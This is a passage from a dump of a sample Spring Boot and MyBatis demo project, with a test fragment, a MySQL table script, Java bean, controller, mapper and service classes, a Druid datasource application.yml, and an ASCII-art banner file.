userMapper.getOne(6l);\n\t\tSystem.out.println(user.toString());\n\t\tuser.setNickName(\"neo\");\n\t\tuserMapper.update(user);\n\t\tAssert.assertTrue((\"neo\".equals(userMapper.getOne(6l).getNickName())));\n\t}\n\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/spring-boot-mybatis-xml-mulidatasource/users.sql",
    "content": "/*\nNavicat MySQL Data Transfer\n\nSource Server         : 本地\nSource Server Version : 50505\nSource Host           : localhost:3306\nSource Database       : test1\n\nTarget Server Type    : MYSQL\nTarget Server Version : 50505\nFile Encoding         : 65001\n\nDate: 2016-11-05 21:17:33\n*/\n\nSET FOREIGN_KEY_CHECKS=0;\n\n-- ----------------------------\n-- Table structure for `users`\n-- ----------------------------\nDROP TABLE IF EXISTS `users`;\nCREATE TABLE `users` (\n  `id` bigint(20) NOT NULL AUTO_INCREMENT COMMENT '主键id',\n  `userName` varchar(32) DEFAULT NULL COMMENT '用户名',\n  `passWord` varchar(32) DEFAULT NULL COMMENT '密码',\n  `user_sex` varchar(32) DEFAULT NULL,\n  `nick_name` varchar(32) DEFAULT NULL,\n  PRIMARY KEY (`id`)\n) ENGINE=InnoDB AUTO_INCREMENT=28 DEFAULT CHARSET=utf8;\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/src/main/java/com/springboot/Application.java",
    "content": "package com.springboot;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n\n@SpringBootApplication\npublic class Application {\n\t\n\tpublic static void main(String[] args) {\n\t\tSpringApplication.run(Application.class,args);\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/src/main/java/com/springboot/bean/Student.java",
    "content": "package com.springboot.bean;\n\nimport java.io.Serializable;\n\npublic class Student implements Serializable{\n\t\n\tprivate static final long serialVersionUID = -339516038496531943L;\n\tprivate String sno;\n\tprivate String name;\n\tprivate String sex;\n\tpublic String getSno() {\n\t\treturn sno;\n\t}\n\tpublic void setSno(String sno) {\n\t\tthis.sno = sno;\n\t}\n\tpublic String getName() {\n\t\treturn name;\n\t}\n\tpublic void setName(String name) {\n\t\tthis.name = name;\n\t}\n\tpublic String getSex() {\n\t\treturn sex;\n\t}\n\tpublic void setSex(String sex) {\n\t\tthis.sex = sex;\n\t}\n\t\n\t\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/src/main/java/com/springboot/controller/TestController.java",
    "content": "package com.springboot.controller;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestMethod;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport com.springboot.bean.Student;\nimport com.springboot.service.StudentService;\n\n@RestController\npublic class TestController {\n\n\t@Autowired\n\tprivate StudentService studentService;\n\t\n\t@RequestMapping( value = \"/querystudent\", method = RequestMethod.GET)\n\tpublic Student queryStudentBySno(String sno) {\n\t\treturn this.studentService.queryStudentBySno(sno);\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/src/main/java/com/springboot/mapper/StudentMapper.java",
    "content": "package com.springboot.mapper;\n\nimport org.apache.ibatis.annotations.Delete;\nimport org.apache.ibatis.annotations.Insert;\nimport org.apache.ibatis.annotations.Mapper;\nimport org.apache.ibatis.annotations.Results;\nimport org.apache.ibatis.annotations.Result;\nimport org.apache.ibatis.annotations.Select;\nimport org.apache.ibatis.annotations.Update;\nimport org.springframework.stereotype.Component;\n\nimport com.springboot.bean.Student;\n\n@Component\n@Mapper\npublic interface StudentMapper {\n\t@Insert(\"insert into student(sno,sname,ssex) values(#{sno},#{name},#{sex})\")\n\tint add(Student student);\n\t\n\t@Update(\"update student set sname=#{name},ssex=#{sex} where sno=#{sno}\")\n    int update(Student student);\n\t\n\t@Delete(\"delete from student where sno=#{sno}\")\n    int deleteBysno(String sno);\n\t\n\t@Select(\"select * from student where sno=#{sno}\")\n\t@Results(id = \"student\",value= {\n\t\t @Result(property = \"sno\", column = \"sno\", javaType = String.class),\n         @Result(property = \"name\", column = \"sname\", javaType = String.class),\n         @Result(property = \"sex\", column = \"ssex\", javaType = String.class)\n\t})\n    Student queryStudentBySno(String sno);\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/src/main/java/com/springboot/service/StudentService.java",
    "content": "package com.springboot.service;\n\nimport com.springboot.bean.Student;\n\npublic interface StudentService {\n\tint add(Student student);\n    int update(Student student);\n    int deleteBysno(String sno);\n    Student queryStudentBySno(String sno);\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/src/main/java/com/springboot/service/impl/StudentServiceImp.java",
    "content": "package com.springboot.service.impl;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Service;\n\nimport com.springboot.bean.Student;\nimport com.springboot.mapper.StudentMapper;\nimport com.springboot.service.StudentService;\n\n@Service(\"studentService\")\npublic class StudentServiceImp implements StudentService{\n\n\t@Autowired\n\tprivate StudentMapper studentMapper;\n\t\n\t@Override\n\tpublic int add(Student student) {\n\t\treturn this.studentMapper.add(student);\n\t}\n\n\t@Override\n\tpublic int update(Student student) {\n\t\treturn this.studentMapper.update(student);\n\t}\n\n\t@Override\n\tpublic int deleteBysno(String sno) {\n\t\treturn this.studentMapper.deleteBysno(sno);\n\t}\n\n\t@Override\n\tpublic Student queryStudentBySno(String sno) {\n\t\treturn this.studentMapper.queryStudentBySno(sno);\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/src/main/resources/application.yml",
    "content": "server:\n  context-path: /web\n\nspring:\n  datasource:\n    druid:\n      # 数据库访问配置, 使用druid数据源\n      type: com.alibaba.druid.pool.DruidDataSource\n#      driver-class-name: oracle.jdbc.driver.OracleDriver\n#      url: jdbc:oracle:thin:@localhost:1521:ORCL\n#      username: test\n#      password: 123456\n      username: root\n      password: \n      url: jdbc:mysql://127.0.0.1:3306/test666?useUnicode=true&characterEncoding=UTF-8&useSSL=false&autoReconnect=true&failOverReadOnly=false&serverTimezone=GMT%2B8\n      driver-class-name: com.mysql.cj.jdbc.Driver\n      # 连接池配置\n      initial-size: 5\n      min-idle: 5\n      max-active: 20\n      # 连接等待超时时间\n      max-wait: 30000\n      # 配置检测可以关闭的空闲连接间隔时间\n      time-between-eviction-runs-millis: 60000\n      # 配置连接在池中的最小生存时间\n      min-evictable-idle-time-millis: 300000\n      validation-query: select '1' from dual\n      test-while-idle: true\n      test-on-borrow: false\n      test-on-return: false\n      # 打开PSCache，并且指定每个连接上PSCache的大小\n      pool-prepared-statements: true\n      max-open-prepared-statements: 20\n      max-pool-prepared-statement-per-connection-size: 20\n      # 配置监控统计拦截的filters, 去掉后监控界面sql无法统计, 'wall'用于防火墙\n      filters: stat,wall\n      # Spring监控AOP切入点，如x.y.z.service.*,配置多个英文逗号分隔\n      aop-patterns: com.springboot.servie.*\n      \n    \n      # WebStatFilter配置\n      web-stat-filter:\n        enabled: true\n        # 添加过滤规则\n        url-pattern: /*\n        # 忽略过滤的格式\n        exclusions: '*.js,*.gif,*.jpg,*.png,*.css,*.ico,/druid/*'\n      \n      # StatViewServlet配置 \n      stat-view-servlet:\n        enabled: true\n        # 访问路径为/druid时，跳转到StatViewServlet\n        url-pattern: /druid/*\n        # 是否能够重置数据\n        reset-enable: false\n        # 需要账号密码才能访问控制台\n        login-username: druid\n        login-password: druid123\n        # IP白名单\n        # allow: 127.0.0.1\n        #　IP黑名单（共同存在时，deny优先于allow）\n        # deny: 192.168.1.218\n      \n      # 配置StatFilter\n      filter: \n        stat: \n          log-slow-sql: true\n     "
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/src/main/resources/banner.txt",
    "content": " :: :.:..... : ....: ..: ..: : : :..: ..:...:.... :..........:.... .:.: : :.::..:.:......:.:..: : :...:..:::..::.:::::::..::.:::::.::::::::::::::::::::::::::::::::::::::::::;::::::\n.::.:.:::...: ::.:.:.:.:::.::::.::.:.:.:::.:.:.::::.::::.:::.::.:.:.:::::::::::::::.::::::::::::::::::::.:::.:::::::::::::::::::::::;:;:;;;:;;:;:i::::;;,;,,;::;,i;:i;,;:;,;;,;;i:;:\n::.::: :::::::::::::::::.:::::::::::::::.:::::::::::::.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::;;:;;:::::;::::::ii,;,ii,,;,,:ii:ii,;::i:ii:i;,;;,i:,;,:i:::;,,;,,:\n::::.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::;:::;;:::::::::::::::::;::::::;::::::::;:::;::::::i:,;:::;,;:;i:;,,;i;i:i,;,;,:,;,::,;;,;,:,;:;,,;i:;,;::i:,;,,;:;,\n:;;:;;:,i:,;:;::i:i:;:,;,,ii,,:;;,:i,;,,;,,i:,:::;:i::,;::,;,:,::i;,;::;:::::,:;:,::::,::i;:,::::::,:,:,,:ii:i::i:,;,;,:::;:;:;i:i;ii:i;,i;,;:::,:,::,::i:i:,::;,i,;ii;,,::;,:::i:i:\n;ii:,:,;;,;,,:,:;,:,:,::ii;,;:i::;::,:::::::;::,;:,;,:i:,;:::;:i::::::::::::::;,;,;;:::;:::::,::;:::::;,:i::i:;,::::;::::::,::,:i:iiiiiiiiii::i:::;:;:::::::;::i:,;i,i:i:i:,;:::::::\n,;;:;,;::;:::;:i::::::,;::i:i;::::,::;,::::,:::::;:i::;,:::;iifffjiii;i:::::i:,;;:,,:::,::::::::::::::::;,;;,;:;:,;,:;,::::;i:;;:iiiiii,i:,;::::;,:,:::;,;,:,:;,;;ii;,;i;::;::,:i:::\n,i:i::::::::::::::::,::i:i;;ii::;::,::::::::,::::;:i:;,;ijffLffffGGGDDLGfii;;:,;:i::::::;::::::::::::;::;:i;,;:;::;::::::,;:i:;;i:i:iii,;ii:,;::::,:;::::,:;::;,;;,;ii:i;,:;:;::::::\n:ii:;;:,:;,:::::,;,:::::iiiii;,;,:;:i::::::::;::;;,;ii;ifGLGGLGDGGGDDEDGffijiiii;::;:::::::::::::::::,:;:,::::,:,:::,;:::::,::,i:i,ii;;i,;;,;:,::;::::::;:::,;:,;i:i:,;,,;:,:,:;::::\ni;;,:::::::::::::::::::i::i:ii:,::::::::::;:::,;:iii;ifLDGfDDDGDDEEEKEEDEGDDGLfi:,;::::::,::::::::::::::;:;:i:::;:;::::::::;i:;,;:i:ii,;i:::,,::::,;::::,::::::;,:i:i;,;:,::::::,:::\ni:,;,,:::,:::::,::,::,:,;;,;i:i::;,:::::::,::,;,;i;ifLDGGDEKEDEEEKKDEDKEKEEDDDGfi;,::::::::::::::::::::::::::::::::::::::::::,:;:i;;i:;,;,,;::;:;:::::::::::;::,;i:;::;,,;:;;:i:;:::\ni:,;::::::::::::;::::,:::;:i::;,,:,:::::::;:,;iiifGGGDGDEEDKEKEEWW#WKKEWKEW#KKEGj;i;,::::::::::::::::::::.::..::.::...: ::::::,;:;:,;i:i:;::;::;:;:::::::::::::,;;:;:::i,:;:,:::::::\n:;;,::,:;:,::::::,::::,;,:::;,:;;:;:::::::::;,jjfGDGDGGGEDEEKKK#KWK#E#WWW#KWEWEDffii:;::::::.:::::::::::...;;:ijiii:::: :::::;:,:i,:;::;:::,:,::::::::::::,::::::::,::;:::::::::::::\n,::;,::::::::::::::::::::::i:;:::,:,::::.:;,iifffffDGGfLDEKKWK#WKEEWWWEWKKWWWWKKDGGi;,::::::::::::::.:.:;:;;;jLfGGfji;:::::.:::;::;;,:::;,;::;::;:::::::::;::::;:;:;::::::;:::i:::::\n::;::::::::::.:::::::::::::;:::::::,::::::i,ififLDGDDDDEKWEWWK##KWEWWWWKKKWKWWKWWKDGfi;::::::..:::::;,;ijLGjjjtjLGDDGDGGGi::::::::;:::::::::;::;,::::.:::::::::;::,:::;:::::::::::::\n:;:::::::::::.:::::::::::;:::,:;::;::::.::ijtGDGDDDDDEEKWWWKWWWWE##KK##KKWKWK#KWK#EGfii:::: :::::::::iiifLGGGGjjtGGEDGEGDj;;:::;:::;::::;::::::,;:::::::::::::::::;::::::::;:,;:::::\n:::;:::::::.::.:::::::::;:::::::::,::::::ifDGDKEKEDELDKKEKEK#WW#K#WWWWWEWWKK#KK#KKKGGi;::::::.:.::.:;ijfGGGEEDGGtjGGKDDEDG;;:.::::::::::::::::::::::::::::::::::::::;:::::::::::::::\n:::::::::::::::::::::::::::::::::::::::;ifDEDDD#GDEDEWWKEW#W#E#WWWKKWKWWKK#EWK#KEKGjii;:::::::: ::iiLGDGKKKKKDKKEjjGEDKEEjjGfj;:::::::::;:;:::::::::.:::::::::::;:;:::.:::::::::::::\n::::::::::::::::::::::::::;::::::::::::iiGKKDGEWEKEWWK#K#KWK#WW#KW#WK#WWKWKWK#KKKDj,;:::::... :::i;jGGDEEKDKKKKKKGjjGEKKDjGGGjf::::;::::::::::::::.::.::::::.::.:.::.:::::::::::::::\n:::::::::.::: ::::::::::;,::;::::::::,;ifLEKEEDEK#KKKWE#WW##KWWK##KK#KWWKKKWEGKGGi:;::::.::.:::::ifGGGEKKKEKDKWKEGLjGD#EKGGGGGG;:.::::::::::::::::::::..::::::::::::::::::::::::::::\n:::.::: :::.:::::::::::,::::::::::::i;ifGDEKKEEKKK#KK#KWWWKWWW##EWW#E#WEWEWEEDGjLi::::::::.: .:;ijjLGEGDGGEKGEKK#KGGGKKWEDEKDGGi;::::::::::::::::.:..:..:..::.::.:.:::::::::::::.::.\n:::::.::::.::::::.:::::::::::.:.::::iifGGDK#EWEKEWK#E#WKWWWKWKWWWKKKK#WEWDGGGLit;;:...:::. :.:;ijLjjjjLGGEEKDEEDGEKDGGEDKKKEEGGi;::: :...:: :::. : ::.::..:::..: .::.::..:::::..:.:.\n::::::.::.::: :.::::::::::::..:.: ::iiGGDEEWKKKKEE#K#KWWWWW#K#EW#KWW#KWEKEGfLf;;;;;: ::: ::::ijLGjtjLLGGKEEEEEDKEDKDEGGGKKEKKDGj;;:;;::::..:....:.: ...:..:....:::...:..:.....::.::.\n:::.:.:::.: ::.:::::.::.::..:: :::::iLGDGDKWKE#KK#WWEKWWWWWKWWWEWWWWKKKKKDDfjj;;,,..:...:.::;jGjjjjLGKEEGEKDDEGDDGGGGfLjGKKEEKGjj;;,;;: :.:.:::...:. :....::.. : ..:::::..::::  ::::\n.:..:..:: : ..:::: :..:: :....: .::ijGDKDGEWEW#EW#EWKWWWWWWKWWWEWKK#KWKKEDGGi;;;,,::.:.: ::;i;t;LEGGDGEGKEGGGLjiji;j;;;;tjGGEKDGjt;.:.:: :: ::.:: :  :.......:..:: :.:.:...:.:...::.\n..: ::..: :..::...: :.: :: :::..:::ifLGEKEKEK##WWK##KKWWWKKKWWK#K#KKKWKWKEKGti;:.:.,.:. : ;ij;;jGGGLGEGGDEGLjj;t;;;;;;;;;;tjGEDGjt;:.. ;:..........::..:.......:  :... :..: ... :...\n..... :  : :.. :.: .: .:  :.. ::::;ifGEEKKE#KKWWWEWK#K#K#K##EWKEWKWWWW#EEEDGi;;;.:.:..:: :;ijitGGLLGEGEKGGGjj;;;;;;,;.;;:;;;LGKEGt;.: :. :..:: ::. :. :... .... :.....: : :::.....::\n :......:. ..: ...::..: ::.....:::;iDEEWEKKKKKKK#WK#KWKW#K##EWWWKW#EKEKWKKEDGj;;;.::.,: ;;ii;jjGGLGGDKGGjLjji;;;,::,:.;:,::,;tjGGLL;................:... :  .:: ::....:..: :: :.....\n.  .::..: : . : :..: :..:: :..:.:::iGDKKKK#KK##E##WWWW#KWW#WK#EKWWKKKEEWEKGEGj;,.:...,..::;;jjLGLGLGEGLGLjjtjt;;;;;.;;.::,:.,;iGDGG;;..............  :..: ::.. :.. : : .: :. :  :..:\n.::..: :..:... ...:: :: :: :  : ::,iGDEEKEK#EWKW#WW#KWK#KWWWWWKEWKKEWDDDKKKDGGi;.:.:,.;::;;itLGLfLGGGGGjjjt;i;;;.;,,::,:...::,;LGGGL;:: .. : ....... : : :....: :: .. :.....: :: ::\n :..::.::.: . :: :  :.....: :: :::ijDGDWEKWWK#KWWW#K#WW#WW#WWWKK#KWKEKKKDKEEGGj;.:...:.,:;;;jLjGLLGKELjLjjt;t;;;,,;:.:.:..:..:.iGGGLj:.:..... :  : ::..... ... :.:......: :  :  :  :\n.. :  :..: :. ::. :.......: :: :::;fGDDDEWKWW##WW#KWWWWWWWWWWE#KWKEWEKEKGDEDGGj;:.:..:.,;i;jjGGLLDKEGLjjjtjt;;;,,;,:..:.:.:.:.:;;LGt;j:.: ..  :....:: :: : : . : . :  :.: :.: :.: .:\n. : .... .:  :  : :.....:......:::ijfDEEWKK#K##K#WW#KWWEWEWWWWWKWEWKEKGGDGEGGjj;.:..:.,;jEitiGGLjGKELjjtijii;;;,;..;:.:.::.:.:..;jGjtt.::  :....: :  :.: :.: ::...... ::......:.:.:.\n:  :  .........: :  :  :  : :...::itGDDKEW#KWKW#KWWWEE##WWKWEWEK#KKEKKDGKGGGGf;,:..:..;jGK;jLGLGGEKEjLjtt;j;;;;,,,::::.;..:...::.jGLj;j ::: :: :: :  : ......:: :: :.:....:.: :.:.:.\n:  ...................: :....:...:;fGDDKEKWEW##W##KWWWW#WW#K#KWK#KKKDKGfGGGGLj;::..:.;ijjjjGGGGDKKEGjLjjLjjji;;;;,;.::.:..:....:.;fGLijj.:: ::.::.... :: :  :  :  :..:.. : ::..:..:\n ....: :.............:: ...:..:  :ijGDKEWWWWWEK#KK#WWWKWE#KKWWK#KWDEGGGGfjGji;...:..;;;;;iLjGLGKKKGLLjLLGGLLLj;;:;:.;:..::.::....:jDLijj.:............. :..: :: :: :.......:: :: ::.\n:  :  ..: .. :  : :: :: ::. :: :: ;fGDEDEWWWKWWWWWWW#WK##WKWWK#KKEDKEDGfGfjL;;.:.,:.:;...;GLLGDDKEGLGLGGLjfjfLj;;;;,..::.:.::.:...jKLt;j;.................. .. : .........: .....::\n :...: :: .. :  : ....: .. ... :: ;fLGDDEKWWKKWWW#K#E#KKWKWKWK#EKEDEGDGGGjji..:.::;.:.:..;LGLGKKELLjjjttt;;;;;;;;;,;..:.:;;;i;::..;KGj;;j; :  : .. :: .. :  .  .. . .. :: . ..  ..:\n ..    . : .. :: :  .. : ....: . :;ffDGEK#K#K#WW##WWWW#KWWWK#KWWEKGDDGfGfjj;.:...:..:..:;jGGGEWKGLfLjtjtttij;.;;;;;.:.::;;;iji;:..;KGf;;;; .. : ...  .... .: . ..: : ..  : :: :... :\n.  .. ... .... . .  .... .  :: :. :LGDDDEK#WE##WW#K#KK#EWWW#KKWKEKDDGDjGfij;.::...::..:;j;iLEDKKGjLjjjtjjLLGLj.;;;;;..:.,:;;;t;j::.EGj;;;;: .:   .. . : ..   ..    : . :. ....... .\n . . . .: ... . . :. . :  ..  . ..;jGDGDKKKKKWK#WKW#EK#WKK#KWWWKEDDGGGjGjjtj,:...:.;..:;;;;;GKKGLLtjjtjjGGEEKD;.,;;;.:.;;,;,:::;;.:DGL;;;;...... : ..   : .:  : : : ...  : .. :.....\n : .  :  . :..  : . ... : .  .. ...iGDGDEKKWE##EWWK#K#KWWKKKWWWEDDDGGGjGfjji;::.:.....::,..:,DKLjtjttLLGELiiEGG;;i;;.:,;;;;jjj;: :.GGj;;;;... .. : .. : : .. .... :   :  : .. :....:\n. : .  ....   :.. ...  . . :   . . ;GEGDDEE#KWW#KWKK#WE##K#K#KKDKGEGGGGjjjjj;:.,..:.:....;,:,;EGLjtjjjjLLLLjLGK;;;;,: ;;;jGDWKG;. .Gjt:,:;: .:   ... : .. : : .   .... :: .........\n .  ... :  . .  : .. .. ..   : . : :GGDEDEWKKWWWEWWKKWWEWWEWKKKDGGGGGjjGjjji;:;:::....::.,:.;;jGLtjttjtjtj;;;;j;;t;;..;;;jiifDW;:.:Ei; :.; :  : .. .. :.........:... ..  : :... : .:\n .. ... . ..  : :   .   .... . .: ..GDGEEKKK#KKKKWWWW#KWWWKEWKKGLL...;jjfjji;,;::.:.. ...:;:;;,;Gtjtj;j;;;;;;;;;jtt;:.:.;;itjjLL; .L::..;...  : .. :: .. :  : ..........: :  : ....:\n. . . ..: .... . ........ .... :....LKLKDKKKWWWWWEWWWK#W#WKKKEELL;:;..,;jjjt;;.;.:.:.:....:;;;;iLjtjiti;;;;,,.;;tji;;:.:;t;;;.;;;..j:. .:. :  :  .....  : .. ..... : ..  : :: :...:\n .. . ... .. : .. :. :: .... ...: :.iGGDEKKWEWWWKWWKWWK#EWKWEKGLt,tt...;;jjj;;:;;:... :. .;;,;;jGjttti;;,,,;.;;ijtt;...:;;;;;..:. .j:  :; .... . ...: ...... : .. : :: :: .::..: ::\n . : . . : .. :: ..: :: :: .. : ....;jGGDKDKKKWKKK#KWWWWK#KKGLLtt,tj,..:;;;;;;:,,:,:.. . ..;,;LKLttjt;t,.:,;:,;ttjt;:...:,.:.:.: . j: .:.  :  : .... :  : :: .. ......:  : :: :..::\n. . ....: : : . : :..  : ....: :: :.:;fGDKDEWWKWEEWK#KWWWWKEGGjf;,ti:,...;;;;;;;:,:..:..:..,;jKELjttt;;;;,,,.;;jtj;;::....:,,:...:.j:..:.. .  .. : .. :: : ........: : ::....:  :  :\n :.......  :...:  :..   :...... ....::iGEEEKEKKWKWKWWK#KEWWELjLj;,,,j;.:.,;;;:,::;:.:......;;KKGLtttt;,;,.;,;:;jjj;;.....:.::... . f;..: ::.........: :: .......: :.:.:: :.......::\n. .... .....: .. :  :  :  : ..... : .::GGDKEDWWEWK#EWWWK#KWGLjjf;;.tLL. ..;;;;;:;:,:...:. .,jEWGLtttt;;;,;:..;tjLj;;:.:...,:.:..: .ii.:.......... :  :  : :: :: :::.::.::.....::.. :\n.......  : . .....  ..: ..:..... .: .:.iGGKKKKKKK#EW##K#WWKGLjtLt,.;ff; .:.;;;;;;:;;:..:.:.:,LEELtjti;;,,::.;ttjtj;,:...;,:::.: . .i;;:::.::.:...:....::: : :::..:.::::..: :..:: :.:\n..: :: :: ... :...  :  :...:..:::..:...;DGEKKEWWWKWWWWWKKKKLjjLfj;.,;t;.:.;,,;,:;.,:,,...::,:jDELtttt;;;:,.;;Ljtjj;;..:.;;.... :.. ;;;::.:.....:..:.:.: :: : ::..::::::::.:.::.::...\n.: :::...................:.:..: : :..:.:jGDEEWWKKK#K##W#WWKLjjjtjt....;..;.;;;;;;.,,..,.:...,;GELtjtt;,;,,:;;jjLLLj;,;..;,,:..: : :;:;:::::::.:.:..:.: :.::::..::.::.::.:.::.::::.::\n::::::.:.:.......:.: :.:.:::::::.:...:::.;GDDEKEWKWW#WW#KKKLLjtjtj;....:,,;;;;;;;.,,:.......;;LKLtjtt;;,,;;it;tiij;.:;: ,;;,..:.: .:.:;.::::...::.:....::.:.:::...: : :..: ::.::...:\n::::::.:: :::: ...:.:.:.. :::.:..:.:.....:LGEDWWWWW#KWKWKEEjjtjjjLt;.. .;;;;;,:,::::..::..:.:jKELttt;;;;:;;ttt;t;;:,:...:;;;.:.. .:::..::  ::.::.:.:::...: .: :.:..:.:.::.:..:::.:..\n.::.:.: ::: : : :.:.:.:..::...::: :.:..:.:LGDDE#WWW##WWWKKGLjjtttjLt;:.:,;,;;;;,,;:::.:..:.:,LGEGjttt;;;;t;tj;ttt;;...:.:;;,:.... :...;..::: : :: : ...::.:: :....:....:.: :.:  :...\n....: : .: :.:...:..: : :::....:: ::..:: :jDWKWWWEWWWWKKDDGjtjttit;;;;;;tt;t;;;,;:,.:.. :..:,;LGLttjt;;,;tLLDDDGGDLff;..::;;:..:. ..: .: :..::: ... ..:: : ...: ::........ :: :.: ..\n.....:.:: :.: :...:: ::.. : :..:: : ..::..fKWWKWWWKEKKKEDGGjji;;t;;;,;;;;ttt;;;;.;....:..:,,;tGLLtit;;;.;tGELLLGLfffLjt,.;;,..:. ::...;... :   :: :. :.: ::: :............:  : .....\n :: :....: :.: ..:  :.....: :: ::.........iEWWWKWWKKKEKEGGGj;jt;i;,,:.;tijt;;;;;;.;.:..:...,:tGLjtti;;,;;;LGLjt;;;t;ffft;;,;:.... :: :: : ....:  : .: ....  : ............ :: :: ::\n:  :  :  :.........: ::...................;GKWEKEKEKEGGGGGjjti;;;;,,.;;;tttjt;;;,:...:...,:;;;LLtjttt;;.;;;DGL,;:...:tfLf;;:..: ..  : :...............:: :  : ...........: :: :: ::\n :: ::.. ::  :  : :: :: :: :  :  : :: :...:iDKGGGGGGGLGjjjjti;i;,,;:;:,;jjttti;;,,,..:..,:,,;:.;jtttt;;,;;itLDGLfft,,,Lft;;,.... :  :. : .. . :  : :...: .  .. :  : :: :: :  :  :  :\n........: .....: :  :  :  ...: :: :  :  :  :LGGGGGGGLLjjjtj;jt;;,;,,.,;;tjtjt;;;;;:,::..::,:,:..;;;i;;;;;;ttjfGDLffjjjjt,;,;:.:.: .. : : .. :: :: ....  : : : : :: .. :  : .. :...:\n :: :: ::.....: : :: :: :: : .......: :: :: ;i;ijjjjjjjj;jtt;i;;,,::,.;;;jjiit;;;,,:..,.,.:;,...:;tiit;;;;;itjfGGLffjti..;;..... .. :. ...: . :  .. ..   :  .. .........: .. : .....\n :: :: :: :  :  : :...: ... :: :: :  :  :  . ::.:,:i::::::;t;;;,,;;::,,:;itjitit;;;;,:,:,,:,;  :..:,;ti;;t;;;;;,;;;,;....;.:..... ::   : .. :: :: :.. :: ... : : .. :..  .....  ....\n:  .......... :: :  : ..........: .. :  .. :..::i;,:;::::.:;;;;,;:::..:.,;;ttt;;;;,;;;:,,,,,, : ...:;t;jiit;;;;;;;,;...:.:..: .: .. :.. ..: :........... .  : .. ....... : :: :: ::\n :: :.......... : :: :: :...  .. : :: :: :itfGDGffjii;::.:. ::;;.;:,:.,::,;;tittt;;;;;;,,,:;.. : ...;;ti;t;;;,,:.::.:: .:.:.... ...: :: :  ..: .. .... ..... :: ::  :... :   : :   :\n .: ...... :: :: .......  ..  .. : :...:ifLDDDWDWWEWKWKWEDf;. : .;:::.,.,;,;;;;t;;;;;;;;;;. . : ..:.:.;;tit;;;:,:..... :.... :  : :: : : . :   : : :..... :..  : .. . :  ...: :.. ..\n :..  .. : :... ..... ....... .. .. .. ;tfGGDEEEKWK#W#KWWKKEGf:.. :,.:...:::;;;:..  ...: ...... .:. ..:;;itt;;:;.::.::. :...: . ..   .. .  ........ . :: ..: .. : : :: .. : .... ::\n . : ..... .. ... . ..... :  .. .. : : iffDDDDDWKKWWKEWWEW#KKKKi...:::,.::;,,:. .. ...  .. ..: ...:.:::;;;;jit;;:;.: ......  ..: ..: ... :..   : : :: ....  : : .. .....:  : : : . .\n..: . : . .........: :.. ..... :: ..: :jffLDEDEEKKKK##WWKKEEKKEDL: ..:,:::.::; :: :.. :..  ... . :.:.:,,;;;itj;;;.:.....:: .. :... ... ..   : :  :  : . .....  : ....: : : :: .. ..\n . ....  ...: . :   ... .... . . ....ijLfLGDDDDKKWWWWKWKKKWEKWEEEKD: ..,.:.::. :..  :.:.. ..  :  :.::.;.;;iititt;;;;:::... :.........  :   :  .....  : : .. :  .... :..  : .... : .\n .. ...  ... : .... : : .. .....: : itjfGDDDEEEKKKWEW#KWWKKWEWEEKDDGi :.::,: .. .... . . : :   : .::.::;;tttjttiti;:;.....    :.. . : . ..  : :   : ......  : : :: :   :.... ......\n..: : .. :   : .  ::   : . :  :   ..fLfDDDDEEDKDEEKKKWWWKWWWEWEEEEEEDj..::.;:  ::  . :  .  : .. :.:.:.;;;titjtit;;:;:...:.... :....: .... ...:  : : .   : ...  : .. ... ...  .... .\n ....... . ....:  :: . :  : . :   : tGfDDEWEWEWWW##WW###W###K#KKEEEEDEf:.,:   : .. ...  .. : ....:.,:,:;;tit;t;,,,.,...... .:    .... . : . .: . .  . . :  ...: . :   ... ... . . .\n .. :: :: : . . : .... .........:  :ifffDDEEWEK#KEW#WK#WWWW#W#WWEKEEEEKf.:.  : . :   : . .. ..  . :,:;;;jttt;;;;,::....:. :  : : .. : . ... ... . :  ... ..  .  .. : .. . ..... .. .\n........ : .. :. : . ....: ........:ffffGLDDDKKKWK#E##W##W#W####WKWDEEEEf ..: ... :.. .. : ... : ..::.;;;j;;i;;:;::.::....    .  ........ : . ... ........ : .... . .. :...  . . ..\n .. ::   : .... ... .  .. : :: .:iiffffGDGDDEDKKKK#KK#WWK#KK#KKEW##WKDWDEi.... .... ... .....  : ...:,;;tti;i;;,;.:.,::.:,:.  :. : .......: .. :...  : ....:   :  : :: .. :  :  .\n....  : ....: ... .: :..   : .::tifDGLfGDDDGDDWEWKWKWWWWWWK#WK#WEKK##KDEWEi  : :.. .. :...: .:  ...,;;;;iti;;;;,.;:..:.:::::..  : ::..: :  :  : ..... : : .........:. :...... ::..:.\n..: :... ....... ........... iiiitfEDDDfGDGGDDEEWWWWWWKKWWWK#KKEWEEED#WEDDG: .... :: : ....... : . ,;;;;j;t;t;;,;..:::..:.;....: : ... : .. :: ....::..: :  .....: : ....:.  : . ..\n... :: :: : ......:: :...: :ititifLDGDfLGDfGLDWEWWKKK#EWK#KKKK#KKKKEKDWKEDDf.............  :  : . :;;;;tt;tt;;;:,..;..::.;.;;.:: .:::..::. :..:.:.....:..:. :.....::..:::...::.:: ..\n ::.:: ::... :. :....:...:tDLifjtfDEDGGDDffffDKWEEWEWWEWWEWWEKKWKKEWEKEDEEDG:.: .:::....:::.:.: . .;t;ttt;ttt;;:;..,.:.,.:;;;;;.:. ::..::.:.:::::.::::::::::..:::.::.::::::.:.::.::.\n: .:  : .:::.:.:: :: :: :iDDfifffGDEDLLDLLffLDKEKKEWEEWEKEKKKWKKWEKWEWWEKDDLL..:: :..::::.:: .:  . ;t;itt;tt;t;;,;,,.,,,:,;,;,;;;::   ::::: ::..:::..:::.::.::.:.::::.:.:.::::::::::\n.: :::.::: .:.: 